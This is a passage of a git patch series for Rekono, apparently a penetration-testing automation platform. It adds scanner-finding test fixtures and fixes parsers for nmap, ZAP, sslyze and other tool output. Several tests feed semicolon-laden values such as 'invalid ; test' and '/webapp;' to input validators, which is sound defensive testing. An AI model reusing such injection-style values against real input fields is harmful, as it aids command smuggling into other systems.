"'ClickJacking' attacks.\n\n" + "Location:\n" + "[GET] http://10.10.10.10\n" + "[GET] http://10.10.10.10/\n" + ), + "severity": Severity.MEDIUM, + "cwe": "CWE-1021", + "reference": "https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options", + }, + { + "model": Vulnerability, + "name": "Absence of Anti-CSRF Tokens", + "description": ( + "No Anti-CSRF tokens were found in a HTML submission form.A cross-site request forgery " + "is an attack that involves forcing a victim to send an HTTP request to a target destination " + "without their knowledge or intent in order to perform an action as the victim. The underlying " + "cause is application functionality using predictable URL/form actions in a repeatable way. " + "The nature of the attack is that CSRF exploits the trust that a web site has for a user. " + "By contrast, cross-site scripting (XSS) exploits the trust that a user has for a web site. " + "Like XSS, CSRF attacks are not necessarily cross-site, but they can be. Cross-site request " + "forgery is also known as CSRF, XSRF, one-click attack, session riding, confused deputy, and " + "sea surf.CSRF attacks are effective in a number of situations, including: * The victim " + "has an active session on the target site. * The victim is authenticated via HTTP auth on " + "the target site. * The victim is on the same local network as the target site.CSRF has " + "primarily been used to perform an action against a target site using the victim's privileges, " + "but recent techniques have been discovered to disclose information by gaining access to the " + "response. The risk of information disclosure is dramatically increased when the target site " + "is vulnerable to XSS, because XSS can be used as a platform for CSRF, allowing the attack to " + "operate within the bounds of the same-origin policy.\n\n" + "Location:\n" + "[GET] http://10.10.10.10\n" + "[GET] http://10.10.10.10/\n" + ), + "severity": Severity.LOW, + "cwe": "CWE-352", + "reference": "http://projects.webappsec.org/Cross-Site-Request-Forgery", + }, + { + "model": Vulnerability, + "name": "Cross-Domain JavaScript Source File Inclusion", + "description": ( + "The page includes one or more script files from a third-party domain.\n\n" + "Location:\n" + "[GET] http://10.10.10.10\n" + "[GET] http://10.10.10.10\n" + "[GET] http://10.10.10.10/\n" + "[GET] http://10.10.10.10/\n" + ), + "severity": Severity.LOW, + "cwe": "CWE-829", + }, + { + "model": Path, + "path": "/shared/images/Acunetix/acx_Chess-WB.gif", + "type": PathType.ENDPOINT, + }, + { + "model": Vulnerability, + "name": "Timestamp Disclosure - Unix", + "description": ( + "A timestamp was disclosed by the application/web server - Unix\n\n" + "Location:\n" + "[GET] http://10.10.10.10\n" + "[GET] http://10.10.10.10/\n" + "[GET] http://10.10.10.10/shared/images/Acunetix/acx_Chess-WB.gif\n" + ), + "severity": Severity.LOW, + "cwe": "CWE-200", + "reference": "http://projects.webappsec.org/w/page/13246936/Information%20Leakage", + }, + { + "model": Path, + "path": "/images/sitelogo.png", + "type": PathType.ENDPOINT, + }, + { + "model": Path, + "path": "/shared/css/insecdb.css", + "type": PathType.ENDPOINT, + }, + { + "model": Path, + "path": "/shared/images/tiny-eyeicon.png", + "type": PathType.ENDPOINT, + }, + { + "model": Path, + "path": "/shared/images/topleftcurve.gif", + "type": PathType.ENDPOINT, + }, + { + "model": Vulnerability, + "name": "X-Content-Type-Options Header Missing", + "description": ( + "The Anti-MIME-Sniffing header X-Content-Type-Options was not set to 'nosniff'. " + "This allows older versions of Internet Explorer and Chrome to perform MIME-sniffing " + "on the response body, potentially causing the response body to be interpreted and " + "displayed as a content type other than the declared content type. Current (early 2014) " + "and legacy versions of Firefox will use the declared content type (if one is set), " + "rather than performing MIME-sniffing.\n\n" + "Location:\n" + "[GET] http://10.10.10.10\n" + "[GET] http://10.10.10.10/\n" + "[GET] http://10.10.10.10/images/sitelogo.png\n" + "[GET] http://10.10.10.10/shared/css/insecdb.css\n" + "[GET] http://10.10.10.10/shared/images/Acunetix/acx_Chess-WB.gif\n" + "[GET] http://10.10.10.10/shared/images/tiny-eyeicon.png\n" + "[GET] http://10.10.10.10/shared/images/topleftcurve.gif\n" + ), + "severity": Severity.LOW, + "cwe": "CWE-693", + "reference": "http://msdn.microsoft.com/en-us/library/ie/gg622941%28v=vs.85%29.aspx", + }, + ], + ) + ] diff --git a/src/backend/tests/test_api_tokens.py b/src/backend/tests/test_api_tokens.py index bb267f9c5..98ca9ce92 100644 --- a/src/backend/tests/test_api_tokens.py +++ b/src/backend/tests/test_api_tokens.py @@ -3,7 +3,7 @@ from api_tokens.models import ApiToken from tests.cases import ApiTestCase -from tests.framework import RekonoTest +from tests.framework import ApiTest api_token1 = { "name": "test1", @@ -15,7 +15,7 @@ } -class ApiTokenTest(RekonoTest): +class ApiTokenTest(ApiTest): endpoint = "/api/api-tokens/" expected_str = f"admin1@rekono.com - {api_token1['name']}" cases = [ diff --git a/src/backend/tests/test_authentications.py b/src/backend/tests/test_authentications.py index 7f97c037c..8d83b4ef3 100644 --- a/src/backend/tests/test_authentications.py +++ b/src/backend/tests/test_authentications.py @@ -4,7 +4,7 @@ from authentications.models import Authentication from target_ports.models import TargetPort from tests.cases import ApiTestCase -from tests.framework import RekonoTest +from tests.framework import ApiTest authentication = { "name": "admin", @@ -32,7 +32,7 @@ } -class AuthenticationTest(RekonoTest): +class AuthenticationTest(ApiTest): endpoint = "/api/authentications/" expected_str = "10.10.10.10 - 80 - admin" cases = [ diff --git a/src/backend/tests/test_parameters.py b/src/backend/tests/test_parameters.py index 66a490aa1..e7e3f1b19 100644 --- a/src/backend/tests/test_parameters.py +++ b/src/backend/tests/test_parameters.py @@ -2,10 +2,10 @@ from parameters.models import InputTechnology, InputVulnerability from tests.cases import ApiTestCase -from tests.framework import RekonoTest +from tests.framework import ApiTest -class ParameterTest(RekonoTest): +class ParameterTest(ApiTest): model = None valid = [] invalid = [] diff --git a/src/backend/tests/test_processes.py b/src/backend/tests/test_processes.py index 69afb264c..ff4cfb179 100644 --- a/src/backend/tests/test_processes.py +++ b/src/backend/tests/test_processes.py @@ -2,7 +2,7 @@ from processes.models import Process, Step from tests.cases import ApiTestCase -from tests.framework import RekonoTest +from tests.framework import ApiTest first_process_name = "All tools" @@ -14,7 +14,7 @@ invalid_process2 = {"name": "test", "description": "invalid ; test", "tags": ["test"]} -class ProcessTest(RekonoTest): +class ProcessTest(ApiTest): endpoint = "/api/processes/" expected_str = first_process_name cases = [ @@ -220,7 +220,7 @@ def _get_object(self) -> Any: } -class StepTest(RekonoTest): +class StepTest(ApiTest): endpoint = "/api/steps/" expected_str = f"{first_process_name} - theHarvester - All available sources" cases = [ diff --git a/src/backend/tests/test_projects.py b/src/backend/tests/test_projects.py index 7522bfd14..a3def58b0 100644 --- a/src/backend/tests/test_projects.py +++ b/src/backend/tests/test_projects.py @@ -1,6 +1,6 @@ from projects.models import Project from tests.cases import ApiTestCase -from tests.framework import RekonoTest +from tests.framework import ApiTest project1 = {"name": "test1", "description": "test1", "tags": ["test"]} new_project1 = {"name": "new test1", "description": "test1", "tags": ["test"]} @@ -12,7 +12,7 @@ } -class ProjectTest(RekonoTest): +class ProjectTest(ApiTest): endpoint = "/api/projects/" expected_str = project1.get("name") cases = [ diff --git a/src/backend/tests/test_security.py b/src/backend/tests/test_security.py index ffe1c8e38..b1775c7cd 100644 --- a/src/backend/tests/test_security.py +++ b/src/backend/tests/test_security.py @@ -4,10 +4,10 @@ from django.utils import timezone from rest_framework.test import APIClient -from tests.framework import RekonoTest +from tests.framework import ApiTest -class SecurityTest(RekonoTest): +class SecurityTest(ApiTest): refresh = "/api/security/refresh-token/" logout = "/api/security/logout/" api_tokens = "/api/api-tokens/" diff --git a/src/backend/tests/test_settings.py b/src/backend/tests/test_settings.py index 7a6629f73..b432392a5 100644 --- a/src/backend/tests/test_settings.py +++ b/src/backend/tests/test_settings.py @@ -2,7 +2,7 @@ from settings.models import Settings from tests.cases import ApiTestCase -from tests.framework import RekonoTest +from tests.framework import ApiTest settings = {"max_uploaded_file_mb": 512} new_settings = {"max_uploaded_file_mb": 1024} @@ -10,7 +10,7 @@ invalid_settings_2 = {"max_uploaded_file_mb": 4096} -class SettingsTest(RekonoTest): +class SettingsTest(ApiTest): endpoint = "/api/settings/" expected_str = "Settings" cases = [ diff --git a/src/backend/tests/test_target_blacklist.py b/src/backend/tests/test_target_blacklist.py index 8096923c5..215f50032 100644 --- a/src/backend/tests/test_target_blacklist.py +++ b/src/backend/tests/test_target_blacklist.py @@ -2,7 +2,7 @@ from target_blacklist.models import TargetBlacklist from tests.cases import ApiTestCase -from tests.framework import RekonoTest +from tests.framework import ApiTest default_blacklist_1 = {"id": 1, "default": True, "target": "127.0.0.1"} target_blacklist = {"target": "*.rekono.com"} @@ -10,7 +10,7 @@ invalid_blacklist = {"target": "*.rekono;com"} -class TargetBlacklistTest(RekonoTest): +class TargetBlacklistTest(ApiTest): endpoint = "/api/target-blacklist/" expected_str = default_blacklist_1["target"] cases = [ diff --git a/src/backend/tests/test_target_ports.py b/src/backend/tests/test_target_ports.py index 2e8db81cd..d57e6d7dd 100644 --- a/src/backend/tests/test_target_ports.py +++ b/src/backend/tests/test_target_ports.py @@ -3,7 +3,7 @@ from authentications.enums import AuthenticationType from target_ports.models import TargetPort from tests.cases import ApiTestCase -from tests.framework import RekonoTest +from tests.framework import ApiTest target_port1 = {"target": 1, "port": 80, "path": "/webapp/"} target_port2 = {"target": 1, "port": 22} @@ -17,7 +17,7 @@ invalid_target_port2 = {"target": 1, "port": 443, "path": "/webapp;"} -class TargetPortTest(RekonoTest): +class TargetPortTest(ApiTest): endpoint = "/api/target-ports/" expected_str = "10.10.10.10 - 80" cases = [ diff --git a/src/backend/tests/test_targets.py b/src/backend/tests/test_targets.py index 60cf8863e..815a1a7fe 100644 --- a/src/backend/tests/test_targets.py +++ b/src/backend/tests/test_targets.py @@ -1,7 +1,7 @@ from targets.enums import TargetType from targets.models import Target from tests.cases import ApiTestCase -from tests.framework import RekonoTest +from tests.framework import ApiTest target1 = {"project": 1, "target": "10.10.10.10"} target2 = {"project": 1, "target": "scanme.nmap.org"} @@ -11,7 +11,7 @@ invalid_target = {"project": 1, "target": "domain-not-found"} -class TargetTest(RekonoTest): +class TargetTest(ApiTest): endpoint = "/api/targets/" expected_str = target1.get("target") cases = [ diff --git a/src/backend/tests/test_tools.py b/src/backend/tests/test_tools.py index 672e61a50..e7f4e3171 100644 --- a/src/backend/tests/test_tools.py +++ b/src/backend/tests/test_tools.py @@ -1,14 +1,14 @@ from typing import Any from tests.cases import ApiTestCase -from tests.framework import RekonoTest +from tests.framework import ApiTest from tools.models import Configuration, Tool nmap = "Nmap" the_harvester = "theHarvester" -class ToolTest(RekonoTest): +class ToolTest(ApiTest): endpoint = "/api/tools/" expected_str = nmap cases = [ @@ -90,7 +90,7 @@ def _get_object(self) -> Any: first_nmap_configuration = "TCP ports" -class ConfigurationTest(RekonoTest): +class ConfigurationTest(ApiTest): endpoint = "/api/configurations/" expected_str = f"{nmap} - {first_nmap_configuration}" cases = [ diff --git a/src/backend/tests/test_users.py b/src/backend/tests/test_users.py index 5e095a777..b67c84d94 100644 --- a/src/backend/tests/test_users.py +++ b/src/backend/tests/test_users.py @@ -2,7 +2,7 @@ from security.authorization.roles import Role from tests.cases import ApiTestCase -from tests.framework import RekonoTest +from tests.framework import ApiTest from users.enums import Notification from users.models import User @@ -31,7 +31,7 @@ invalid_user3 = {**user1, "first_name": "test;1"} -class UserTest(RekonoTest): +class UserTest(ApiTest): endpoint = "/api/users/" expected_str = "admin1@rekono.com" cases = [ @@ -315,7 +315,7 @@ def _get_object(self) -> Any: return self.admin1 -class Profile(RekonoTest): +class Profile(ApiTest): endpoint = "/api/profile/" cases = [ ApiTestCase( @@ -380,7 +380,7 @@ class Profile(RekonoTest): ] -class ResetPasswordTest(RekonoTest): +class ResetPasswordTest(ApiTest): endpoint = "/api/security/reset-password/" anonymous_allowed = None diff --git a/src/backend/tests/test_wordlists.py b/src/backend/tests/test_wordlists.py index 355d87c32..9312ad228 100644 --- a/src/backend/tests/test_wordlists.py +++ b/src/backend/tests/test_wordlists.py @@ -2,12 +2,12 @@ from settings.models import Settings from tests.cases import ApiTestCase -from tests.framework import RekonoTest +from tests.framework import ApiTest from wordlists.enums import WordlistType from wordlists.models import Wordlist # Wordlists paths -data_dir = RekonoTest.data_dir / "wordlists" +data_dir = ApiTest.data_dir / "wordlists" endpoints_path = data_dir / "endpoints_wordlist.txt" invalid_mime_type_path = data_dir / "invalid_mime_type.txt" invalid_extension_path = data_dir / "invalid_extension.pdf" @@ -22,7 +22,7 @@ new_wordlist_subdomains = {"name": "new test 2", "type": WordlistType.SUBDOMAIN.value} -class WordlistTest(RekonoTest): +class WordlistTest(ApiTest): endpoint = "/api/wordlists/" expected_str = first_wordlist_name data_dir = data_dir diff --git a/src/backend/tools/parsers/base.py b/src/backend/tools/parsers/base.py index 387f49cab..de4d5b636 100644 --- a/src/backend/tools/parsers/base.py +++ b/src/backend/tools/parsers/base.py @@ -44,19 +44,20 @@ def create_finding(self, finding_type: Finding, **fields: Any) -> Finding: ) ): fields[finding_type_used.__name__.lower()] = finding_used - unique_id = {} + unique_id = {"executions__task__target": self.executor.execution.task.target} for field in finding_type.get_unique_fields(): - unique_id[field] = fields[field] + if field in fields: + unique_id[field] = fields[field] finding, _ = finding_type.objects.update_or_create( **unique_id, defaults={ **fields, - "target": self.executor.execution.task.target, - "detected_by": self.executor.execution.configuration.tool, "last_seen": timezone.now(), } ) + finding.executions.add(self.executor.execution) self.findings.append(finding) + return finding def _parse_report(self) -> None: pass @@ -69,7 +70,7 @@ def _load_report_as_json(self) -> Dict[str, Any]: return json.load(report) def _load_report_as_xml(self) -> Any: - return parser.parse(self.path_output).getroot() + return parser.parse(self.report).getroot() def _load_report_by_lines(self) -> List[str]: with open(self.report, "r", encoding="utf-8") as report: diff --git a/src/backend/tools/parsers/cmseek.py b/src/backend/tools/parsers/cmseek.py index f15b04538..7702d118a 100644 --- a/src/backend/tools/parsers/cmseek.py +++ b/src/backend/tools/parsers/cmseek.py @@ -19,10 +19,12 @@ def _parse_report(self) -> None: base_url = base_url.replace(parser.path, "/") cms = self.create_finding( Technology, - name=data.get("cms_name"), - version=version, + name=data.get("cms_name").strip(), + version=version.strip() if version is not None else None, description="CMS", - reference=data.get("cms_url"), + reference=data.get("cms_url", "").strip() + if data.get("cms_url") + else data.get("cms_url"), ) for key, value in data.items(): if key in [ @@ -34,24 +36,26 @@ def _parse_report(self) -> None: "url", ]: continue - paths = [] - if isinstance(value, list): - paths = [p.replace(base_url, "/") for p in value if p and base_url in p] - elif isinstance(value, str) and base_url in value: - paths = ( - [ - p.replace(base_url, "/") - for p in value.split(",") - if base_url in p - ] - if "," in value - else [value] + paths = [ + path.replace(base_url, "/").strip() + for path in ( + value + if isinstance(value, list) + else ( + value.split(",") + if isinstance(value, str) and "," in value + else [value] + ) ) + if base_url in path + ] if paths: for path in paths: if path and path != "/": self.create_finding( - Path, path=path.replace("//", "/"), type=PathType.ENDPOINT + Path, + path=path.replace("//", "/"), + type=PathType.ENDPOINT, ) for search_key, vulnerability_name, severity, cwe in [ # CWE-530: Exposure of Backup File to an Unauthorized Control Sphere @@ -79,7 +83,7 @@ def _parse_report(self) -> None: self.create_finding( Credential, technology=cms, - username=user, + username=user.strip(), context=f"{cms.name} username", ) elif "_debug_mode" in key and value != "disabled": @@ -96,10 +100,12 @@ def _parse_report(self) -> None: self.create_finding( Vulnerability, technology=cms, - name=vulnerability.get("name"), - cve=vulnerability.get("cve"), + name=vulnerability.get("name", "").strip(), + cve=vulnerability.get("cve").strip() + if vulnerability.get("cve") is not None + else None, ) - elif "Version" in value: + elif "Version" in value and "," in value: for component in value.split(","): technology = component version = None @@ -111,8 +117,8 @@ def _parse_report(self) -> None: if technology: self.create_finding( Technology, - name=technology, - version=version, + name=technology.strip(), + version=version.strip() if version is not None else None, related_to=cms, description=f"{cms.name} {name}", ) diff --git a/src/backend/tools/parsers/dirsearch.py b/src/backend/tools/parsers/dirsearch.py index 9bbec752d..af40f56ca 100644 --- a/src/backend/tools/parsers/dirsearch.py +++ b/src/backend/tools/parsers/dirsearch.py @@ -13,7 +13,7 @@ def _parse_report(self) -> None: for endpoint in item: self.create_finding( Path, - path=endpoint.get("path", ""), + path=endpoint.get("path", "").strip(), status=endpoint.get("status", 0), type=PathType.ENDPOINT, ) diff --git a/src/backend/tools/parsers/joomscan.py b/src/backend/tools/parsers/joomscan.py index 23eee2ed7..c64f5314a 100644 --- a/src/backend/tools/parsers/joomscan.py +++ b/src/backend/tools/parsers/joomscan.py @@ -9,13 +9,13 @@ class Joomscan(BaseParser): def _parse_standard_output(self) -> None: technology = None vulnerability_name = None - endpoints = set() + endpoints = set(["/"]) backups = set() configurations = set() path_disclosure = set() directory_listing = set() host = urlparse( - self.executor.arguments(self.executor.arguments.index("-u") + 1) + self.executor.arguments[self.executor.arguments.index("-u") + 1] ).hostname lines = self.output.split("\n") for index, line in enumerate(lines): diff --git a/src/backend/tools/parsers/nikto.py b/src/backend/tools/parsers/nikto.py index 1f05d876a..a11a4626c 100644 --- a/src/backend/tools/parsers/nikto.py +++ b/src/backend/tools/parsers/nikto.py @@ -5,7 +5,7 @@ class Nikto(BaseParser): def _parse_report(self) -> None: - endpoints = set() + endpoints = set(["/"]) root = self._load_report_as_xml() for item in ( root.findall("niktoscan")[-1].findall("scandetails")[0].findall("item") diff --git a/src/backend/tools/parsers/nmap.py b/src/backend/tools/parsers/nmap.py index 3f09189ef..c79993e42 100644 --- a/src/backend/tools/parsers/nmap.py +++ b/src/backend/tools/parsers/nmap.py @@ -47,25 +47,25 @@ def _parse_report(self) -> None: version=service.service_dict["version"], ) technologies.append(technology) - if service.script_results: - self._parse_nse_scripts(service.script_results, technologies) - if host.script_results: - self._parse_nse_scripts(host.script_results, technologies) + if service.scripts_results: + self._parse_nse_scripts(service.scripts_results, technology) + if nmap_host.scripts_results: + self._parse_nse_scripts(nmap_host.scripts_results, technologies) def _parse_nse_scripts( - self, results: Any, technologies: List[Technology] + self, results: Any, technologies: List[Technology] | Technology ) -> None: - smb_search = [t for t in technologies if t.port.service == "microsoft-ds"] - smb_technology = smb_search[0] if smb_search else None - first_technology = technologies[0] if technologies else None + technology = technologies if isinstance(technologies, Technology) else technologies[0] + smb_technology = [technologies] if isinstance(technologies, Technology) else [t for t in technologies if t.port.service in ["microsoft-ds", "netbios-ssn"]] + smb_technology = smb_technology[0] if smb_technology else None for script in results: match script.get("id"): case "vulners": - self._parse_nse_vulners(script, first_technology) + self._parse_nse_vulners(script, technology) case "ftp-anon": self.create_finding( Vulnerability, - technology=first_technology, + technology=technology, name="Anonymous FTP", description="Anonymous login is allowed in FTP", severity=Severity.CRITICAL, @@ -76,7 +76,7 @@ def _parse_nse_scripts( case "ftp-proftpd-backdoor": self.create_finding( Vulnerability, - technology=first_technology, + technology=technology, name="FTP Backdoor", description="FTP ProFTPD 1.3.3c Backdoor", severity=Severity.CRITICAL, @@ -87,21 +87,21 @@ def _parse_nse_scripts( case "ftp-vsftpd-backdoor": self.create_finding( Vulnerability, - technology=first_technology, + technology=technology, name="vsFTPd Backdoor", cve="CVE-2011-2523", ) case "ftp-libopie": self.create_finding( Vulnerability, - technology=first_technology, + technology=technology, name="OPIE off-by-one stack overflow", cve="CVE-2010-1938", ) case "ftp-vuln-cve2010-4221": self.create_finding( Vulnerability, - technology=first_technology, + technology=technology, name="ProFTPD server TELNET IAC stack overflow", cve="CVE-2010-4221", ) @@ -140,7 +140,7 @@ def _parse_nse_scripts( case "smb-enum-users": for line in script.get("output").split("\n"): data = line.strip() - if data: + if data and ' (RID:' in data: self.create_finding( Credential, technology=smb_technology, @@ -181,12 +181,12 @@ def _parse_nse_scripts( smb_technology.description = f'Protocols: {", ".join([p.split("[dangerous", 1)[0].strip() for p in script.get("elements", {}).get("dialects", {}).get(None)])}' smb_technology.save(update_fields=["description"]) case _: - self._parse_nse_vulners(script, first_technology) + self._parse_nse_vulners(script, technology) def _parse_nse_vulners(self, script: Any, technology: Technology) -> None: cves = set() for cve in re.findall( - Regex.CVE, script.get("output", "") + Regex.CVE.value, script.get("output", "") ): if cve not in cves: cves.add(cve) diff --git a/src/backend/tools/parsers/smbmap.py b/src/backend/tools/parsers/smbmap.py index 629198970..4c8065353 100644 --- a/src/backend/tools/parsers/smbmap.py +++ b/src/backend/tools/parsers/smbmap.py @@ -12,6 +12,8 @@ def _parse_standard_output(self) -> None: self.create_finding( Path, path=share[0], - extra=f"[{share[1]}] {share[2]}" if len(share) >= 3 else share[1], + extra_info=f"[{share[1]}] {share[2]}" + if len(share) >= 3 + else share[1], type=PathType.SHARE, ) diff --git a/src/backend/tools/parsers/ssh_audit.py b/src/backend/tools/parsers/ssh_audit.py index 2c8e70213..0e910badc 100644 --- a/src/backend/tools/parsers/ssh_audit.py +++ b/src/backend/tools/parsers/ssh_audit.py @@ -34,9 +34,7 @@ def _parse_standard_output(self) -> None: " ", 1 )[0] if algorithm not in algorithms[cryptography_type]: - algorithms[cryptography_type]["algorithms"].append( - algorithm - ) + algorithms[cryptography_type].append(algorithm) break for name, cve in vulnerabilities_to_create: self.create_finding( diff --git a/src/backend/tools/parsers/sslscan.py b/src/backend/tools/parsers/sslscan.py index 7dc63c406..8e5c4a737 100644 --- a/src/backend/tools/parsers/sslscan.py +++ b/src/backend/tools/parsers/sslscan.py @@ -71,7 +71,7 @@ def _parse_report(self) -> None: lambda: item.tag == "heartbleed" and item.attrib["vulnerable"] == "1", { - "name": f'Heartbleed in {item.attrib["sslversion"]}', + "name": f"Heartbleed in {item.attrib.get('sslversion')}", "cve": "CVE-2014-0160", }, ), @@ -84,7 +84,7 @@ def _parse_report(self) -> None: ], { "name": "Insecure cipher suite supported", - "description": f"{item.attrib['sslversion']} {item.attrib['cipher']} status={item.attrib['status']} strength={item.attrib['strength']}", + "description": f"{item.attrib.get('sslversion')} {item.attrib.get('cipher')} status={item.attrib.get('status')} strength={item.attrib.get('strength')}", "severity": Severity.LOW, # CWE-326: Inadequate Encryption Strength "cwe": "CWE-326", diff --git a/src/backend/tools/parsers/sslyze.py b/src/backend/tools/parsers/sslyze.py index ab30669e6..4c21e7613 100644 --- a/src/backend/tools/parsers/sslyze.py +++ b/src/backend/tools/parsers/sslyze.py @@ -36,7 +36,7 @@ def _parse_report(self) -> None: {"name": "Heartbleed", "cve": "CVE-2014-0160"}, ), ( - lambda: ["openssl_ccs_injection"]["result"][ + lambda: result["openssl_ccs_injection"]["result"][ "is_vulnerable_to_ccs_injection" ], {"name": "OpenSSL CSS Injection", "cve": "CVE-2014-0224"}, @@ -80,19 +80,24 @@ def _parse_report(self) -> None: self.create_finding(Vulnerability, **fields) for protocol, versions in self.protocol_versions.items(): for version in versions: - cipher_suites = data[ - f'{protocol.lower()}_{version.replace(".", "_")}_cipher_suites' - ]["result"]["accepted_cipher_suites"] + cipher_suites = ( + result.get( + f'{protocol.lower()}_{version.replace(".", "_")}_cipher_suites', + {}, + ) + .get("result", {}) + .get("accepted_cipher_suites", []) + ) if cipher_suites: technology = self.create_finding( Technology, - name=protocol, + name=protocol.upper(), version=version, related_to=self.generic_tech, ) - severity = Severity.MEDIUM + severity = Severity.HIGH if protocol.lower() == "tls": - severity = Severity.HIGH + severity = Severity.MEDIUM for cs in cipher_suites: if "_RC4_" in cs["cipher_suite"]["name"]: self.create_finding( diff --git a/src/backend/tools/parsers/zap.py b/src/backend/tools/parsers/zap.py index 4605480bb..7ef9e280c 100644 --- a/src/backend/tools/parsers/zap.py +++ b/src/backend/tools/parsers/zap.py @@ -20,6 +20,7 @@ def _parse_report(self) -> None: for site in root: url_base = site.attrib["name"] for alert in site.findall("alerts/alertitem"): + name = alert.findtext("alert") description = alert.findtext("desc") or "" severity = alert.findtext("riskcode") cwe = alert.findtext("cweid") @@ -29,7 +30,6 @@ def _parse_report(self) -> None: description += "\n\nLocation:\n" for instance in instances or []: url = instance.findtext("uri") - name = alert.findtext("alert") description += f'[{instance.findtext("method")}] {url}\n' if url: endpoint = url.replace(url_base, "") @@ -38,24 +38,23 @@ def _parse_report(self) -> None: self.create_finding( Path, path=endpoint, type=PathType.ENDPOINT ) - if name: - self.create_finding( - Vulnerability, - name=self._clean(name), - description=self._clean(description) - if description - else self._clean(name), - severity=self.severity_mapping[int(severity)] - if severity - else Severity.MEDIUM, - cwe=f"CWE-{cwe}" if cwe else None, - reference=self._clean(reference) if reference else None, - ) + if name: + name = self._clean(name) + self.create_finding( + Vulnerability, + name=name, + description=self._clean(description) if description else name, + severity=self.severity_mapping[int(severity)] + if severity + else Severity.MEDIUM, + cwe=f"CWE-{cwe}" if cwe else None, + reference=self._clean_reference(reference) + if reference + else None, + ) def _clean(self, value: str) -> str: - return ( - unescape(value) - .split("

", 1)[0] - .replace("

", "") - .replace("

", "") - ) + return unescape(value).replace("

", "").replace("

", "") + + def _clean_reference(self, value: str) -> str: + return self._clean(value.split("

", 1)[0]) From 7f4d4550e171f2264be8ef029ad3bc3a898f476d Mon Sep 17 00:00:00 2001 From: Pablo Santiago Date: Sat, 2 Dec 2023 11:52:32 +0100 Subject: [PATCH 035/141] Unit tests for task and executions and fixes for all the problems found --- src/backend/executions/filters.py | 23 +++- src/backend/executions/models.py | 3 +- src/backend/tasks/filters.py | 10 +- src/backend/tasks/models.py | 3 +- src/backend/tasks/serializers.py | 2 - src/backend/tasks/views.py | 14 ++- src/backend/tests/cases.py | 2 + src/backend/tests/framework.py | 37 ++++++- src/backend/tests/test_executions.py | 76 ++++++++++++++ src/backend/tests/test_findings.py | 0 src/backend/tests/test_tasks.py | 151 +++++++++++++++++++++++++++ 11 files changed, 303 insertions(+), 18 deletions(-) create mode 100644 src/backend/tests/test_executions.py create mode 100644 src/backend/tests/test_findings.py create mode 100644 src/backend/tests/test_tasks.py diff --git a/src/backend/executions/filters.py b/src/backend/executions/filters.py index 4497c782f..18faf573f 100644 --- a/src/backend/executions/filters.py +++ b/src/backend/executions/filters.py @@ -1,16 +1,29 @@ from django_filters.filters import ChoiceFilter, ModelChoiceFilter from django_filters.rest_framework import FilterSet from executions.models import Execution +from processes.models import Process +from projects.models import Project +from targets.models import Target +from tools.models import Tool +from users.models import User class ExecutionFilter(FilterSet): - target = ModelChoiceFilter(field_name="task__target") - project = ModelChoiceFilter(field_name="task__target__project") - process = ModelChoiceFilter(field_name="task__process") - tool = ModelChoiceFilter(field_name="configuration__tool") + target = ModelChoiceFilter(queryset=Target.objects.all(), field_name="task__target") + project = ModelChoiceFilter( + queryset=Project.objects.all(), field_name="task__target__project" + ) + process = ModelChoiceFilter( + queryset=Process.objects.all(), field_name="task__process" + ) + tool = ModelChoiceFilter( + queryset=Tool.objects.all(), field_name="configuration__tool" + ) stage = ChoiceFilter(field_name="configuration__stage") intensity = ChoiceFilter(field_name="task__intensity") - executor = ModelChoiceFilter(field_name="task__executor") + executor = ModelChoiceFilter( + queryset=User.objects.all(), field_name="task__executor" + ) class Meta: model = Execution diff --git a/src/backend/executions/models.py b/src/backend/executions/models.py index 667789c11..eb3bfa370 100644 --- a/src/backend/executions/models.py +++ b/src/backend/executions/models.py @@ -1,12 +1,13 @@ from django.db import models from executions.enums import Status +from framework.models import BaseModel from tasks.models import Task from tools.models import Configuration # Create your models here. -class Execution(models.Model): +class Execution(BaseModel): """Execution model.""" task = models.ForeignKey( diff --git a/src/backend/tasks/filters.py b/src/backend/tasks/filters.py index 9916f6db3..20281a4d4 100644 --- a/src/backend/tasks/filters.py +++ b/src/backend/tasks/filters.py @@ -1,11 +1,17 @@ from django_filters.filters import ChoiceFilter, ModelChoiceFilter from django_filters.rest_framework import FilterSet +from projects.models import Project from tasks.models import Task +from tools.models import Tool class TaskFilter(FilterSet): - project = ModelChoiceFilter(field_name="target__project") - tool = ModelChoiceFilter(field_name="configuration__tool") + project = ModelChoiceFilter( + queryset=Project.objects.all(), field_name="target__project" + ) + tool = ModelChoiceFilter( + queryset=Tool.objects.all(), field_name="configuration__tool" + ) stage = ChoiceFilter(field_name="configuration__stage") class Meta: diff --git a/src/backend/tasks/models.py b/src/backend/tasks/models.py index 221c107f6..4a9f0af23 100644 --- a/src/backend/tasks/models.py +++ b/src/backend/tasks/models.py @@ -1,4 +1,5 @@ from django.db import models +from framework.models import BaseModel from processes.models import Process from rekono.settings import AUTH_USER_MODEL from security.input_validator import FutureDatetimeValidator, TimeAmountValidator @@ -11,7 +12,7 @@ # Create your models here. -class Task(models.Model): +class Task(BaseModel): """Task model.""" # Job Id in the tasks queue diff --git a/src/backend/tasks/serializers.py b/src/backend/tasks/serializers.py index a9c0aa78b..af3893a04 100644 --- a/src/backend/tasks/serializers.py +++ b/src/backend/tasks/serializers.py @@ -1,7 +1,6 @@ from typing import Any, Dict from django.core.exceptions import ValidationError -from executions.serializers import ExecutionSerializer from processes.models import Process from processes.serializers import SimpleProcessSerializer from rest_framework.serializers import ModelSerializer, PrimaryKeyRelatedField @@ -43,7 +42,6 @@ class TaskSerializer(ModelSerializer): configuration = ConfigurationSerializer(many=False, read_only=True) intensity = IntegerChoicesField(model=IntensityEnum, required=False) executor = SimpleUserSerializer(many=False, read_only=True) - executions = ExecutionSerializer(many=False, read_only=True) class Meta: model = Task diff --git a/src/backend/tasks/views.py b/src/backend/tasks/views.py index c8dde0dad..88e305400 100644 --- a/src/backend/tasks/views.py +++ b/src/backend/tasks/views.py @@ -7,6 +7,7 @@ from executions.enums import Status from executions.queues import ExecutionsQueue from framework.views import BaseViewSet +from rekono.settings import CONFIG from rest_framework import status from rest_framework.decorators import action from rest_framework.request import Request @@ -73,10 +74,11 @@ def destroy(self, request: Request, *args: Any, **kwargs: Any) -> Response: logger.info(f"[Task] Task {task.id} has been cancelled") connection = django_rq.get_connection("executions-queue") for execution in running_executions: - if execution.status == Status.RUNNING: - send_stop_job_command(connection, execution.rq_job_id) - else: - self.executions_queue.cancel_job(execution.rq_job_id) + if not CONFIG.testing: + if execution.status == Status.RUNNING: + send_stop_job_command(connection, execution.rq_job_id) + else: + self.executions_queue.cancel_job(execution.rq_job_id) 